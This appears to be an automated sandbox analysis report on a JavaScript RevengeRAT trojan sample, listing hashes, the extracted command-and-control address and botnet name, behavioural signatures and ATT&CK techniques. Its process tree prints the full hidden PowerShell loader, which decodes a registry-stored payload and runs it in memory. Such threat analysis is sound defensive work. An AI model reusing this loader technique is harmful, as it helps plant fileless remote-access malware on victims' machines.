revengerat | 9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/01/2025, 03:33

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General

Target
9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
Size 258KB
Sample250121-d38v4atrap
SHA256 9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50
MD5 48f850f90ba9dd0390c5eb42d0f9bef2
SHA1 578f634534ca0f06f135f6b565f711dfe8d483c2
SHA512 5cbd65fccf50bf4166937c3f7060400af067d41822fea947e98ad11c6bbe9b045e08262ab635c7d6aeed2857facb9c639d319ca210b6f7d0d1f0ddccc85493b0
SSDEEP 6144:FGfkaSPcuBpSEGBfpmxD8k0+gHisTt0mCIqceOlgeyy7U00MXfKG:UfkaSPJ96
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 19 IoCs

flow	pid	Process
14	3004	powershell.exe
15	3004	powershell.exe
19	3004	powershell.exe
20	3004	powershell.exe
27	3004	powershell.exe
41	3004	powershell.exe
42	3004	powershell.exe
43	3004	powershell.exe
44	3004	powershell.exe
47	3004	powershell.exe
48	3004	powershell.exe
49	3004	powershell.exe
54	3004	powershell.exe
56	3004	powershell.exe
57	3004	powershell.exe
58	3004	powershell.exe
59	3004	powershell.exe
60	3004	powershell.exe
61	3004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3004	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3004	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4184 wrote to memory of 3004	4184	wscript.exe	82
PID 4184 wrote to memory of 3004	4184	wscript.exe	82

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_autqdidp.ylr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_autqdidp.ylr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3004-0-0x00007FFA8A943000-0x00007FFA8A945000-memory.dmp

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memory/3004-6-0x000001F6A7040000-0x000001F6A7062000-memory.dmp

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memory/3004-11-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

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memory/3004-12-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

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memory/3004-13-0x000001F6A71C0000-0x000001F6A7204000-memory.dmp

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memory/3004-14-0x000001F6A6700000-0x000001F6A670A000-memory.dmp

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memory/3004-15-0x000001F6A75E0000-0x000001F6A7656000-memory.dmp

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memory/3004-16-0x00007FFA8A943000-0x00007FFA8A945000-memory.dmp

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memory/3004-17-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

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